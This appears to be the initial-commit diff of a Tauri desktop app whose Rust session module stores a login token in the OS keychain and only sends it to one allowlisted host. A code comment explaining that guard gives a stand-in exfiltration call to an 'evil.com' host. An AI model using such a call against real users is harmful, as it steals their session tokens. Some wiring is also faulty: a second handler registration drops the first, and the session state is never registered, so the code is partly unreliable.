Initial commit.
@@ -0,0 +1,7 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Generated by Tauri
|
||||
# will have schema files for capabilities auto-completion
|
||||
/gen/schemas
|
||||
@@ -0,0 +1,29 @@
|
||||
[package]
|
||||
name = "aeqw89-literarium"
|
||||
version = "0.1.0"
|
||||
description = "A Tauri App"
|
||||
authors = ["you"]
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[lib]
|
||||
# The `_lib` suffix may seem redundant but it is necessary
|
||||
# to make the lib name unique and wouldn't conflict with the bin name.
|
||||
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
|
||||
name = "aeqw89_literarium_lib"
|
||||
crate-type = ["staticlib", "cdylib", "rlib"]
|
||||
|
||||
[build-dependencies]
|
||||
tauri-build = { version = "2", features = [] }
|
||||
|
||||
[dependencies]
|
||||
tauri = { version = "2", features = [] }
|
||||
tauri-plugin-opener = "2"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
|
||||
reqwest = { version = "0.12", features = ["json"] }
|
||||
keyring = "3"
|
||||
url = "2"
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
tauri_build::build()
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"$schema": "../gen/schemas/desktop-schema.json",
|
||||
"identifier": "default",
|
||||
"description": "Capability for the main window",
|
||||
"windows": ["main"],
|
||||
"permissions": [
|
||||
"core:default",
|
||||
"opener:default"
|
||||
]
|
||||
}
|
||||
|
After Width: | Height: | Size: 3.4 KiB |
|
After Width: | Height: | Size: 6.8 KiB |
|
After Width: | Height: | Size: 974 B |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 3.8 KiB |
|
After Width: | Height: | Size: 3.9 KiB |
|
After Width: | Height: | Size: 7.6 KiB |
|
After Width: | Height: | Size: 903 B |
|
After Width: | Height: | Size: 8.4 KiB |
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 2.0 KiB |
|
After Width: | Height: | Size: 2.4 KiB |
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 85 KiB |
|
After Width: | Height: | Size: 14 KiB |
@@ -0,0 +1,23 @@
|
||||
mod session;
|
||||
|
||||
// Learn more about Tauri commands at https://tauri.app/develop/calling-rust/
|
||||
#[tauri::command]
|
||||
fn greet(name: &str) -> String {
|
||||
format!("Hello, {}! You've been greeted from Rust!", name)
|
||||
}
|
||||
|
||||
#[cfg_attr(mobile, tauri::mobile_entry_point)]
|
||||
pub fn run() {
|
||||
tauri::Builder::default()
|
||||
.plugin(tauri_plugin_opener::init())
|
||||
.invoke_handler(tauri::generate_handler![greet])
|
||||
.invoke_handler(tauri::generate_handler![
|
||||
session::isLoggedIn,
|
||||
session::sendGet,
|
||||
session::sendPost,
|
||||
session::signIn,
|
||||
session::logout,
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
.expect("error while running tauri application");
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
// Prevents additional console window on Windows in release, DO NOT REMOVE!!
|
||||
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
||||
|
||||
fn main() {
|
||||
aeqw89_literarium_lib::run()
|
||||
}
|
||||
@@ -0,0 +1,249 @@
|
||||
//! session.rs — authenticated request layer for the Tauri (Rust) side.
|
||||
//!
|
||||
//! The session token lives ONLY here: at rest in the OS keychain, and in an
|
||||
//! in-memory copy for the lifetime of the process. The webview never receives
|
||||
//! it — commands return response *data*, never the token itself. Even a script
|
||||
//! injected into the Blazor frontend can ask Rust to make requests while the app
|
||||
//! is open, but it cannot read the durable credential or exfiltrate it.
|
||||
|
||||
use std::sync::Mutex;
|
||||
|
||||
use serde::Serialize;
|
||||
use tauri::State;
|
||||
|
||||
// --- Configuration ---------------------------------------------------------
|
||||
|
||||
const VERIFY_URL: &str = "https://main.qwsdcvghyu.com/session/verify";
|
||||
const SIGNIN_URL: &str = "https://main.qwsdcvghyu.com/session/signin-app/";
|
||||
|
||||
/// Only this host (and its subdomains) ever receives the session cookie.
|
||||
/// `sendGet`/`sendPost` take a URL from the frontend, so without this guard an
|
||||
/// injected script could call `sendGet("https://evil.com")` and your token would
|
||||
/// be attached and shipped straight to an attacker. Requests to any other host
|
||||
/// are rejected before a connection is opened.
|
||||
const ALLOWED_HOST: &str = "qwsdcvghyu.com";
|
||||
|
||||
// Keychain identifiers. SERVICE should be unique to your app (reverse-DNS is
|
||||
// the convention); ACCOUNT distinguishes this secret from any others you store.
|
||||
const KEYRING_SERVICE: &str = "com.qwsdcvghyu.literarium";
|
||||
const KEYRING_ACCOUNT: &str = "session";
|
||||
|
||||
// --- Keychain helpers ------------------------------------------------------
|
||||
|
||||
fn keyring_entry() -> keyring::Result<keyring::Entry> {
|
||||
keyring::Entry::new(KEYRING_SERVICE, KEYRING_ACCOUNT)
|
||||
}
|
||||
|
||||
fn persist_token(token: &str) -> keyring::Result<()> {
|
||||
keyring_entry()?.set_password(token)
|
||||
}
|
||||
|
||||
fn load_persisted_token() -> Option<String> {
|
||||
// A missing entry (first launch, or after logout) is the normal "no token"
|
||||
// case, so any error here just means "not logged in".
|
||||
keyring_entry().ok()?.get_password().ok()
|
||||
}
|
||||
|
||||
fn clear_persisted_token() -> keyring::Result<()> {
|
||||
// `delete_credential` is the keyring 3.x name; it was `delete_password` in 2.x.
|
||||
match keyring_entry()?.delete_credential() {
|
||||
Ok(()) => Ok(()),
|
||||
Err(keyring::Error::NoEntry) => Ok(()), // already gone — treat as success
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
// --- State -----------------------------------------------------------------
|
||||
|
||||
pub struct SessionState {
|
||||
client: reqwest::Client,
|
||||
token: Mutex<Option<String>>,
|
||||
}
|
||||
|
||||
impl SessionState {
|
||||
/// Build the state and load any previously stored token from the keychain.
|
||||
/// Wire this into your builder with `.manage(session::SessionState::init())`.
|
||||
pub fn init() -> Self {
|
||||
SessionState {
|
||||
client: reqwest::Client::new(),
|
||||
token: Mutex::new(load_persisted_token()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Copy the current token out. We never hold the std Mutex across an `.await`
|
||||
/// (that would risk a deadlock and isn't `Send`-safe), so callers clone the
|
||||
/// value out first and release the lock immediately.
|
||||
fn token(&self) -> Option<String> {
|
||||
self.token.lock().unwrap().clone()
|
||||
}
|
||||
|
||||
fn set_token(&self, value: Option<String>) {
|
||||
*self.token.lock().unwrap() = value;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Shared types ----------------------------------------------------------
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct HttpResponse {
|
||||
pub status: u16,
|
||||
pub body: String,
|
||||
}
|
||||
|
||||
// --- URL guard -------------------------------------------------------------
|
||||
|
||||
/// Require https and our own domain before attaching the session cookie.
|
||||
fn check_url(raw: &str) -> Result<url::Url, String> {
|
||||
let url = url::Url::parse(raw).map_err(|e| format!("invalid url: {e}"))?;
|
||||
if url.scheme() != "https" {
|
||||
return Err("refusing non-https request".into());
|
||||
}
|
||||
match url.host_str() {
|
||||
// The leading dot in the suffix check prevents `evilqwsdcvghyu.com`
|
||||
// from sneaking past as a fake subdomain.
|
||||
Some(host)
|
||||
if host == ALLOWED_HOST || host.ends_with(&format!(".{ALLOWED_HOST}")) =>
|
||||
{
|
||||
Ok(url)
|
||||
}
|
||||
_ => Err("refusing to send the session cookie to a non-allowlisted host".into()),
|
||||
}
|
||||
}
|
||||
|
||||
// --- Commands --------------------------------------------------------------
|
||||
|
||||
/// True iff a token is stored AND the server confirms it at /session/verify.
|
||||
/// Any other outcome — no token, a 403, or a transient network failure — reads
|
||||
/// as `false`. (If you'd rather distinguish "offline" from "logged out", surface
|
||||
/// the network error as `Err` instead of folding it into `Ok(false)`.)
|
||||
#[allow(non_snake_case)]
|
||||
#[tauri::command]
|
||||
pub async fn isLoggedIn(state: State<'_, SessionState>) -> Result<bool, String> {
|
||||
let Some(token) = state.token() else {
|
||||
return Ok(false); // no token: skip the round-trip entirely
|
||||
};
|
||||
|
||||
let resp = state
|
||||
.client
|
||||
.get(VERIFY_URL)
|
||||
.header(reqwest::header::COOKIE, format!("session={token}"))
|
||||
.send()
|
||||
.await;
|
||||
|
||||
match resp {
|
||||
Ok(r) => Ok(r.status().as_u16() == 200),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// GET `uri` (must be https + on the allowlisted host), attaching the stored
|
||||
/// session token as the `session` cookie if one is present. Returns the response
|
||||
/// status and body — never the token.
|
||||
#[allow(non_snake_case)]
|
||||
#[tauri::command]
|
||||
pub async fn sendGet(
|
||||
uri: String,
|
||||
state: State<'_, SessionState>,
|
||||
) -> Result<HttpResponse, String> {
|
||||
let url = check_url(&uri)?;
|
||||
|
||||
let mut req = state.client.get(url);
|
||||
if let Some(token) = state.token() {
|
||||
req = req.header(reqwest::header::COOKIE, format!("session={token}"));
|
||||
}
|
||||
|
||||
let resp = req.send().await.map_err(|e| format!("request failed: {e}"))?;
|
||||
let status = resp.status().as_u16();
|
||||
let body = resp.text().await.map_err(|e| format!("failed to read body: {e}"))?;
|
||||
Ok(HttpResponse { status, body })
|
||||
}
|
||||
|
||||
/// POST `body` (a JSON string serialized on the Blazor side) to `uri` with
|
||||
/// Content-Type application/json, attaching the `session` cookie if present.
|
||||
#[allow(non_snake_case)]
|
||||
#[tauri::command]
|
||||
pub async fn sendPost(
|
||||
uri: String,
|
||||
body: String,
|
||||
state: State<'_, SessionState>,
|
||||
) -> Result<HttpResponse, String> {
|
||||
let url = check_url(&uri)?;
|
||||
|
||||
let mut req = state
|
||||
.client
|
||||
.post(url)
|
||||
.header(reqwest::header::CONTENT_TYPE, "application/json")
|
||||
.body(body);
|
||||
if let Some(token) = state.token() {
|
||||
req = req.header(reqwest::header::COOKIE, format!("session={token}"));
|
||||
}
|
||||
|
||||
let resp = req.send().await.map_err(|e| format!("request failed: {e}"))?;
|
||||
let status = resp.status().as_u16();
|
||||
let body = resp.text().await.map_err(|e| format!("failed to read body: {e}"))?;
|
||||
Ok(HttpResponse { status, body })
|
||||
}
|
||||
|
||||
// --- Sign-in / sign-out ----------------------------------------------------
|
||||
// Not in your list of three, but the keychain has to be populated somehow:
|
||||
// without these, `isLoggedIn` and `sendGet`/`sendPost` have no token to send.
|
||||
// Note `signIn` returns Ok(()) — it captures the token and stores it; it does
|
||||
// NOT hand the raw token back to the webview. (For the same reason, never point
|
||||
// `sendPost` at the signin endpoint: its 200 body contains the token, which
|
||||
// would then land in the frontend, defeating the whole arrangement.)
|
||||
|
||||
/// Authenticate against /session/signin-app/ and store the returned token in the
|
||||
/// keychain. The hCaptcha token is solved in the webview and passed in here.
|
||||
#[tauri::command]
|
||||
pub async fn signIn(
|
||||
username: String,
|
||||
password: String,
|
||||
captcha: String,
|
||||
state: State<'_, SessionState>,
|
||||
) -> Result<(), String> {
|
||||
let payload = serde_json::json!({
|
||||
"username": username,
|
||||
"password": password,
|
||||
"h-captcha-response": captcha,
|
||||
});
|
||||
|
||||
let resp = state
|
||||
.client
|
||||
.post(SIGNIN_URL)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("request failed: {e}"))?;
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
let value: serde_json::Value = resp
|
||||
.json()
|
||||
.await
|
||||
.map_err(|e| format!("failed to parse response: {e}"))?;
|
||||
|
||||
if status == 200 {
|
||||
let token = value
|
||||
.get("session")
|
||||
.and_then(|s| s.as_str())
|
||||
.ok_or("login succeeded but the response had no `session` field")?
|
||||
.to_owned();
|
||||
|
||||
persist_token(&token).map_err(|e| format!("failed to store token: {e}"))?;
|
||||
state.set_token(Some(token));
|
||||
Ok(())
|
||||
} else {
|
||||
// Failure responses carry { failed: true, message: string }.
|
||||
let message = value
|
||||
.get("message")
|
||||
.and_then(|m| m.as_str())
|
||||
.unwrap_or("login failed");
|
||||
Err(message.to_owned())
|
||||
}
|
||||
}
|
||||
|
||||
/// Forget the session locally (keychain + in-memory copy).
|
||||
#[tauri::command]
|
||||
pub fn logout(state: State<'_, SessionState>) -> Result<(), String> {
|
||||
state.set_token(None);
|
||||
clear_persisted_token().map_err(|e| format!("failed to clear token: {e}"))
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"$schema": "https://schema.tauri.app/config/2",
|
||||
"productName": "aeqw89-literarium",
|
||||
"version": "0.1.0",
|
||||
"identifier": "com.qwsdcvghuy89.literarium",
|
||||
"build": {
|
||||
"beforeDevCommand": "dotnet watch run --project src/Aeqw89Literarium.csproj",
|
||||
"devUrl": "http://localhost:1420",
|
||||
"beforeBuildCommand": "dotnet publish -c release src/Aeqw89Literarium.csproj -o dist",
|
||||
"frontendDist": "../dist/wwwroot"
|
||||
},
|
||||
"app": {
|
||||
"withGlobalTauri": true,
|
||||
"windows": [
|
||||
{
|
||||
"title": "aeqw89-literarium",
|
||||
"width": 800,
|
||||
"height": 600
|
||||
}
|
||||
],
|
||||
"security": {
|
||||
"csp": null
|
||||
}
|
||||
},
|
||||
"bundle": {
|
||||
"active": true,
|
||||
"targets": "all",
|
||||
"icon": [
|
||||
"icons/32x32.png",
|
||||
"icons/128x128.png",
|
||||
"icons/128x128@2x.png",
|
||||
"icons/icon.icns",
|
||||
"icons/icon.ico"
|
||||
]
|
||||
}
|
||||
}
|
||||